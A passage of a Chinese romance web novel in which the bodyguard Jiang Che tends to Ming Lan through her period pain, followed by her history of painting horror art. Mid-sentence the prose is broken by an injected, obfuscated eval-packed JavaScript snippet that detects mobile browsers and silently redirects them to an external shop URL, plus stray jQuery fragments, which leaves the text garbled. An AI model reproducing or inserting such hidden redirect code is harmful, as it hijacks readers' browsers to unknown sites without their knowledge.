江彻在黑暗里静默地注视她。
暗沉的光线让明蓝看不清他的视线具体落在何处,但他似乎是稍微低下了头颅,正打量着她因疼痛而捂在小腹上的手。
在她开口说话前,他上前一步,左手抄在她腰后,另一只手在她屁股下垫了垫,以一种抱小孩的姿势将她垂直抱了起来。
明蓝的大腿后侧垂在他手臂上,能透过一层轻薄的睡裤感觉到他肌肉发力时的贲张,上面还有一层粗糙的、磨人的触感,是之前处理伤口时还没来得及拆下的医用缝合线。她嗅到他身上风尘仆仆的气息,些许冷香裹挟着皂液的香气从肩膀的位置蒸出。
江彻目标明确地转身走回了她卧室的方向,腾出一只手拧开门把。
“小姐,我交代过你经期前不要吃冰淇淋。”
这是门合上后他对她说的第一句话,似叹息似谴责,语气恭恭谨谨,细听却能听出他话语里轻微的不满。
卧室里没开灯,全部的照明只有没拉实的窗帘缝里倾泻而入的月光。而他们站在门板后,刚好是月光照不到的角落,即使离得很近明蓝也看不见他的神色。
她羞耻未褪,又疼得没什么力气为自己辩驳,趴在他肩膀上哼哼两声就算对付过去了。
说来确实是她失误。
自从第一次来月经开始,她就没特意记过自己的经期,这件事一开始由负责饮食的芳姨包办,每逢经期她都会为她料理滋补的养生汤,后来江彻发现她经常会忘记带卫生巾,身为她的司机兼保镖,一旦她忘记,他就得来回跑两趟替她拿取干净的换洗衣物和卫生巾,久而久之他也养成了记录她生理期的习惯。
再后来,不知道为什么连芳姨都习惯了向江彻询问明蓝的月经周期。
明蓝的月经介于痛经与不痛经的中间值,痛不痛完全取决于她当月有没有养成良好的生活习惯。可想而知这个月是没有的,她听到江彻低低地叹了口气,随后把她抱到床上,卷一卷掩进被子里。
“在这躺着,我下去拿药。”
他简单交代完就出去了,接着以光速重新降临在她眼前,伟大如救命的神祇。
明蓝被他扶起来喝了水喂了药,伺候得周周到到,他还让她右侧躺——这个姿势是背对着他的,她软绵绵地任由他摆了过去,没忘记在口头上逞一逞威风,问他是不是不想看见她的脸。
“不是。”他在她背后略带几分无奈解释,“网上有个说法,右躺能更快激活止疼药的药效。”
“真的吗?”
“不知道。”
但试试也没差。明蓝疼得急病乱投医,闭上眼睛在心里念起了清心咒。黑暗在她眼皮上铺开,疼痛沉淀为冷意袭来。
念到一半,她感觉有一片干燥暖热的手掌从她背后伸了过来,挑开真丝被的一角,稳稳当当落在了她虬结的小腹上。停留两秒,手掌隔着睡衣打起了圈,将内里紧绷的肌肉与痛楚一并揉开,化成一股酸胀的热意。
她睁开眼睛,入目是银白的夜色。
他的手很大,如伞也如盖,指节修长,完全张开以后几乎覆住了她整个腰腹,指下力道不轻不重,拿捏得刚刚好,手温煨暖了她因经痛而冷颤的下腹。
“……这也是网上说的吗?”
她听到自己的声音闷闷地响在被子里。
他在她背后沉默良久,才用鼻音低沉地嗯了一声。
不用转身明蓝就知道江彻没有坐到床上,是半蹲在床沿的姿势。用这个姿势替她揉按腹部想来并不舒服,而他发力的手甚至是受伤的那只手。
这算什么呢?要是明德成突然进来,看清他们现在的姿势肯定会勃然大怒。然而明蓝懒洋洋的,完全没有赶客的心思,她睁着眼睛享受了一会儿他的服务,被他按出一股昏沉沉的困意。
半梦半醒间,指尖无意识沿着他手臂的线条攀上去,像树栖的蛇攀援树干,在他狰狞凸起的伤口上摩挲。
伤口的触感清晰到古怪,像干裂的河床,黄沙泥土之下埋有地下河隐秘的脉动。她摸到他手臂上粗糙的纱线、新长出的光洁嫩肉以及被薄薄精肉包缚住的筋络与血管,它们纵横在他的皮肤上,克制地鼓噪着,随着她指尖的游移而抖出细微的震颤。
“疼吗?”
她迷迷糊糊地问。
他没有回答,也没有将手抽出去。
直到快要睡着了,她才听到一道喑哑的回应:“不疼……是痒,小姐。”
*
醒来过时一切都已经恢复了原貌,像午夜过后恢复原貌的皇宫,江彻并不在房间里,黏着在肚皮上的沉滞坠痛感也消失了,清晨的阳光晒在被子上,将被套映出一层金黄的光辉。
明蓝掀开被子,整个人清新到像用高山雪水洗过一遍,连呼吸都是轻快的,用脚尖勾起地面上的拖鞋,坐在床沿舒了个懒腰。
不久后房门被敲响,芳姨探进半个脑袋,笑眯眯地说楼下已经炖好了乌鸡红枣汤,让她洗漱好了趁热下去喝掉。
她慢悠悠地点了点头,趿拉着拖鞋走过去。
炖得软烂的枸杞漂浮在乌漆漆的汤面上,莹白桂圆吸饱汤汁沉底,用勺子搅一搅,红色与白色彼此抱在一起纠缠不清。明蓝有一口没一口嘬引着瓷白小勺里的汤汁,经期令她脾气温和且行动迟缓,好在明德成尚未泯灭全部的人性,见状慈悲地为她减少了未来几天的课程量。
她获得了偷闲的时间。
月经将她变成了彻头彻尾的宅女,除了上课以外,明蓝几乎都待在自己卧室里。偶尔江彻从她窗前路过,稍微仰头就能看到她蜷在卧室阳台上画画。
膝盖折叠,双脚踩在藤椅上,长发用发带简单地束成了低马尾,嘴里叼着一只确定比例用的铅笔,一手摁着画布,一手懒洋洋地挥舞画笔涂抹着什么。漆黑的发,白白的脸,猫似的懒散柔韧的身形——不熟悉她的人见此情景,大概会遭受视觉蒙骗,以为眼前是一位忧郁且脆弱的文青。
然而只要看过她的画作就不会这么想了。
明蓝作画喜欢用黑白灰红蓝五种色彩,红色和蓝色一般只作为画面里某个特别意象的点缀或某种微妙氛围的渲染,再说得直白点——她钟情于创作恐怖画作。
与其他小孩痴迷于奥特曼、乐高玩具与过家家不同,打从认字开始,明蓝就对神秘题材情有独钟,时常抱着本比砖头还厚的《世界百大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489933|202181||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
未解之谜》嚼啃,津津乐道于麦田怪圈、百慕大三角和尼罗湖水怪。
如果只是停留在理论层面还好,偏偏她有着超强的行动力。
上小学时她在班级里带头成立了一个神秘地下组织,专门研究城市怪谈,每个加入组织的盟友都需要滴血起誓。一群半大小孩用圆规扎破拇指,血糊糊地在白纸上摁下指印,差点没把意外捡到这张纸的老师吓死,以为学校里混入了什么邪.教。这个地下组织最后当然不了了之,被老师揭发的明蓝回家后就收获了一顿新鲜的竹笋炒肉。
不过她贼心未死,初中时又在校园内自发创办了一个地外文明研究社,吸纳了一大批神神叨叨的社员,把走读和住宿的社员一视同仁地坑蒙到郊区的深山里看流星雨,还怂恿一个学生偷来了他家里名贵的天文望远镜,最后被老师以散布歪风邪气、组织危险活动为由强硬解散了。
到了高中,明蓝消停了一些,起码没再去祸害其他人,而是从外修转为内修,开始瞒着家里人为一个恐怖游戏作画。
那个恐游的开发者恰好也是她朋友,两人低山臭水遇知音,整个游戏项目除了那位不靠谱的开发外就只有她这位不专业的美工,谁知偏偏走了狗屎运,凭借小众的玩法与独树一帜的画风出了圈,火了小半个月,狠狠赚了一笔。
虽然这游戏很快因人手不足、bug丛生、售后迟缓等客观因素暴毙了,从爆火到跌入泥潭被全网黑仅仅用了半个月时间,但明蓝的恐怖画作也从此小有名气。她给自己取了个“小曌”的笔名,因过度自恋反而被不知情的圈内人推崇为个性鲜明,偶尔会接到一些商单或者被邀请去参加一些小众画展。
就江彻了解到的,她目前正在画的这幅画是为一个慈善募捐晚会免费创作的。
明蓝常有古道热肠,这也是她时不时拍拍脑袋祸害别人却难招人讨厌的原因。
那位与她一起创作恐游的开发后来生了一场重病,急需用钱,她二话不说就把自己因游戏而获得的所有收入都捐给了对方治病。对方病好以后说要做她的狗,结果转头就在她请他帮忙把定位系统屏蔽掉时给她制造了天大的岔子。
江彻看过她正在画的那幅画,她画完那天刚好也是经期结束那天。他从楼下路过,看到明蓝悠闲地趴在阳台栏杆上,眯缝眼睛朝他勾勾手,要他上去帮忙装填画框。
花梨木画框散发出淡淡的木质香气,江彻戴着手套,沉稳又仔细地将她的画作装裱进去。
黑色窄门里绘有一簇暗红野火,乍看犹如干涸的血迹以及被指尖用力碾出汁水的玫瑰花瓣。他曾经费心钻研过那些艺术流派,印象派野兽派……绘画界的专业名词层出不穷,明蓝的画作却并不属于任何一种,它难以被归类,就像她本人一样时而跳脱时而沉静,绚烂夺目的生命力,摧枯拉朽一样用力烧用力活。
他用指腹轻轻抚开画框角落里的一粒灰尘,明蓝在他身后对着两套晚礼服纠结,问他穿哪套更合适。
他说都合适。她笑了一声,摆放他面前的全身镜正映出他和她的身影,然而不管是往前还是往后,他的目光都没有落在她身上。
“是吗?可是你都没有转头看我。”